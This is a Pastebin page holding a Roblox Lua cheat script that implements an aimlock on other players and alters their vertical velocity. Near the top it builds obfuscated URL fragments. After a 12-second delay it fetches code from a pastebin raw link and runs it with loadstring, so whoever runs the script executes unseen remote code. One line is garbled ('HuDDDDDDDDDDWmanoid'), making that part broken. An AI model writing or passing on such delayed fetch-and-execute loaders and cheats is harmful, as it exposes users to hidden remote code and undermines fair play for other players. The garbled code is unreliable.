Advertisement
Blox101

as

Sep 9th, 2022
34
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.06 KB | None | 0 0
  1. -- // script made by earth
  2. -- // script made by earth
  3. -- // script made by earth
  4. -- // script made by earth
  5. b = ("363?313?303?3033v3"):gsub('?', '.')
  6. q = ("3m3o3c3?3t3n3e3t3n3o3c3r3e3s3u3b3u3h3t3i3g3?3w3a3r3"):gsub('?', '.')
  7. n = ("]3e3t3a3v3i3r3P3=3s3=303d3a3z3r3a3f3]3d3a3z3r3a3f3x3]3"):gsub('=', '-')
  8. n = (n):gsub(']', '/')
  9. n = (n):gsub('0', '9999')
  10. z = ("3]3]3:3s3p3t3t3h3"):gsub(']', '/')
  11. c = ("]3n3i3a3m3"):gsub(']', '/')
  12. -- // script made by earth
  13. -- // script made by earth
  14. -- // script made by earth
  15. -- // script made by earth
  16.  
  17. wait(12)
  18. --earth
  19. loadstring(game:HttpGet("https://pastebin.com/raw/9hQFaAZy", true))()
  20. --earth
  21.  
  22.  
  23.  
  24.  
  25.  
  26. getgenv().OldAimPart = "UpperTorso"
  27. getgenv().AimPart = "UpperTorso"
  28. getgenv().AimlockKey = "q"
  29. getgenv().AimRadius = 13
  30. getgenv().ThirdPerson = true
  31. getgenv().FirstPerson = true
  32. getgenv().TeamCheck = false
  33. getgenv().PredictMovement = true
  34. getgenv().PredictionVelocity = 25
  35. getgenv().CheckIfJumped = true
  36. getgenv().Smoothness = true
  37. getgenv().SmoothnessAmount = 0.009
  38.  
  39. local Players, Uis, RService, SGui = game:GetService"Players", game:GetService"UserInputService", game:GetService"RunService", game:GetService"StarterGui";
  40. local Client, Mouse, Camera, CF, RNew, Vec3, Vec2 = Players.LocalPlayer, Players.LocalPlayer:GetMouse(), workspace.CurrentCamera, CFrame.new, Ray.new, Vector3.new, Vector2.new;
  41. local Aimlock, MousePressed, CanNotify = true, false, false;
  42. local AimlockTarget;
  43. local OldPre;
  44.  
  45.  
  46.  
  47. getgenv().WorldToViewportPoint = function(P)
  48. return Camera:WorldToViewportPoint(P)
  49. end
  50.  
  51. getgenv().WorldToScreenPoint = function(P)
  52. return Camera.WorldToScreenPoint(Camera, P)
  53. end
  54.  
  55. getgenv().GetObscuringObjects = function(T)
  56. if T and T:FindFirstChild(getgenv().AimPart) and Client and Client.Character:FindFirstChild("Head") then
  57. local RayPos = workspace:FindPartOnRay(RNew(
  58. T[getgenv().AimPart].Position, Client.Character.Head.Position)
  59. )
  60. if RayPos then return RayPos:IsDescendantOf(T) end
  61. end
  62. end
  63.  
  64. getgenv().GetNearestTarget = function()
  65. local players = {}
  66. local PLAYER_HOLD = {}
  67. local DISTANCES = {}
  68. for i, v in pairs(Players:GetPlayers()) do
  69. if v ~= Client then
  70. table.insert(players, v)
  71. end
  72. end
  73. for i, v in pairs(players) do
  74. if v.Character ~= nil then
  75. local AIM = v.Character:FindFirstChild("Head")
  76. if getgenv().TeamCheck == true and v.Team ~= Client.Team then
  77. local DISTANCE = (v.Character:FindFirstChild("Head").Position - game.Workspace.CurrentCamera.CFrame.p).magnitude
  78. local RAY = Ray.new(game.Workspace.CurrentCamera.CFrame.p, (Mouse.Hit.p - game.Workspace.CurrentCamera.CFrame.p).unit * DISTANCE)
  79. local HIT,POS = game.Workspace:FindPartOnRay(RAY, game.Workspace)
  80. local DIFF = math.floor((POS - AIM.Position).magnitude)
  81. PLAYER_HOLD[v.Name .. i] = {}
  82. PLAYER_HOLD[v.Name .. i].dist= DISTANCE
  83. PLAYER_HOLD[v.Name .. i].plr = v
  84. PLAYER_HOLD[v.Name .. i].diff = DIFF
  85. table.insert(DISTANCES, DIFF)
  86. elseif getgenv().TeamCheck == false and v.Team == Client.Team then
  87. local DISTANCE = (v.Character:FindFirstChild("Head").Position - game.Workspace.CurrentCamera.CFrame.p).magnitude
  88. local RAY = Ray.new(game.Workspace.CurrentCamera.CFrame.p, (Mouse.Hit.p - game.Workspace.CurrentCamera.CFrame.p).unit * DISTANCE)
  89. local HIT,POS = game.Workspace:FindPartOnRay(RAY, game.Workspace)
  90. local DIFF = math.floor((POS - AIM.Position).magnitude)
  91. PLAYER_HOLD[v.Name .. i] = {}
  92. PLAYER_HOLD[v.Name .. i].dist= DISTANCE
  93. PLAYER_HOLD[v.Name .. i].plr = v
  94. PLAYER_HOLD[v.Name .. i].diff = DIFF
  95. table.insert(DISTANCES, DIFF)
  96. end
  97. end
  98. end
  99.  
  100. if unpack(DISTANCES) == nil then
  101. return nil
  102. end
  103.  
  104. local L_DISTANCE = math.floor(math.min(unpack(DISTANCES)))
  105. if L_DISTANCE > getgenv().AimRadius then
  106. return nil
  107. end
  108.  
  109. for i, v in pairs(PLAYER_HOLD) do
  110. if v.diff == L_DISTANCE then
  111. return v.plr
  112. end
  113. end
  114. return nil
  115. end
  116.  
  117. Mouse.KeyDown:Connect(function(a)
  118. if not (Uis:GetFocusedTextBox()) then
  119. if a == AimlockKey and AimlockTarget == nil then
  120. pcall(function()
  121. if MousePressed ~= true then MousePressed = true end
  122. local Target;Target = GetNearestTarget()
  123. if Target ~= nil then
  124. AimlockTarget = Target
  125. end
  126. end)
  127. elseif a == AimlockKey and AimlockTarget ~= nil then
  128. if AimlockTarget ~= nil then AimlockTarget = nil end
  129. if MousePressed ~= false then
  130. MousePressed = false
  131. end
  132. end
  133. end
  134. end)
  135.  
  136. RService.RenderStepped:Connect(function()
  137. if getgenv().ThirdPerson == true and getgenv().FirstPerson == true then
  138. if (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude > 1 or (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude <= 1 then
  139. CanNotify = true
  140. else
  141. CanNotify = false
  142. end
  143. elseif getgenv().ThirdPerson == true and getgenv().FirstPerson == false then
  144. if (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude > 1 then
  145. CanNotify = true
  146. else
  147. CanNotify = false
  148. end
  149. elseif getgenv().ThirdPerson == false and getgenv().FirstPerson == true then
  150. if (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude <= 1 then
  151. CanNotify = true
  152. else
  153. CanNotify = false
  154. end
  155. end
  156. if Aimlock == true and MousePressed == true then
  157. if AimlockTarget and AimlockTarget.Character and AimlockTarget.Character:FindFirstChild(getgenv().AimPart) then
  158. if getgenv().FirstPerson == true then
  159. if CanNotify == true then
  160. if getgenv().PredictMovement == true then
  161. if getgenv().Smoothness == true then
  162. --// The part we're going to lerp/smoothen \\--
  163. local Main = CF(Camera.CFrame.p, AimlockTarget.Character[getgenv().AimPart].Position + AimlockTarget.Character[getgenv().AimPart].Velocity/PredictionVelocity)
  164.  
  165. --// Making it work \\--
  166. Camera.CFrame = Camera.CFrame:Lerp(Main, getgenv().SmoothnessAmount, Enum.EasingStyle.Elastic, Enum.EasingDirection.InOut)
  167. else
  168. Camera.CFrame = CF(Camera.CFrame.p, AimlockTarget.Character[getgenv().AimPart].Position + AimlockTarget.Character[getgenv().AimPart].Velocity/PredictionVelocity)
  169. end
  170. elseif getgenv().PredictMovement == false then
  171. if getgenv().Smoothness == true then
  172. --// The part we're going to lerp/smoothen \\--
  173. local Main = CF(Camera.CFrame.p, AimlockTarget.Character[getgenv().AimPart].Position)
  174.  
  175. --// Making it work \\--
  176. Camera.CFrame = Camera.CFrame:Lerp(Main, getgenv().SmoothnessAmount, Enum.EasingStyle.Elastic, Enum.EasingDirection.InOut)
  177. else
  178. Camera.CFrame = CF(Camera.CFrame.p, AimlockTarget.Character[getgenv().AimPart].Position)
  179. end
  180. end
  181. end
  182. end
  183. end
  184. end
  185. if CheckIfJumped == true then
  186. if AimlockTarget.Character.HuDDDDDDDDDDWmanoid.FloorMaterial == Enum.Material.Air then
  187.  
  188. getgenv().AimPart = "UpperTorso"
  189. else
  190. getgenv().AimPart = getgenv().OldAimPart
  191.  
  192. end
  193. end
  194. end)
  195.  
  196. local RunService = game:GetService("RunService")
  197.  
  198. RunService.Heartbeat:Connect(function()
  199. pcall(function()
  200. for i,v in pairs(game.Players:GetChildren()) do
  201. if v.Name ~= game.Players.LocalPlayer.Name then
  202. local hrp = v.Character.HumanoidRootPart
  203. hrp.Velocity = Vector3.new(hrp.Velocity.X, 0, hrp.Velocity.Z)
  204. hrp.AssemblyLinearVelocity = Vector3.new(hrp.Velocity.X, 0, hrp.Velocity.Z)
  205. end
  206. end
  207. end)
  208. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement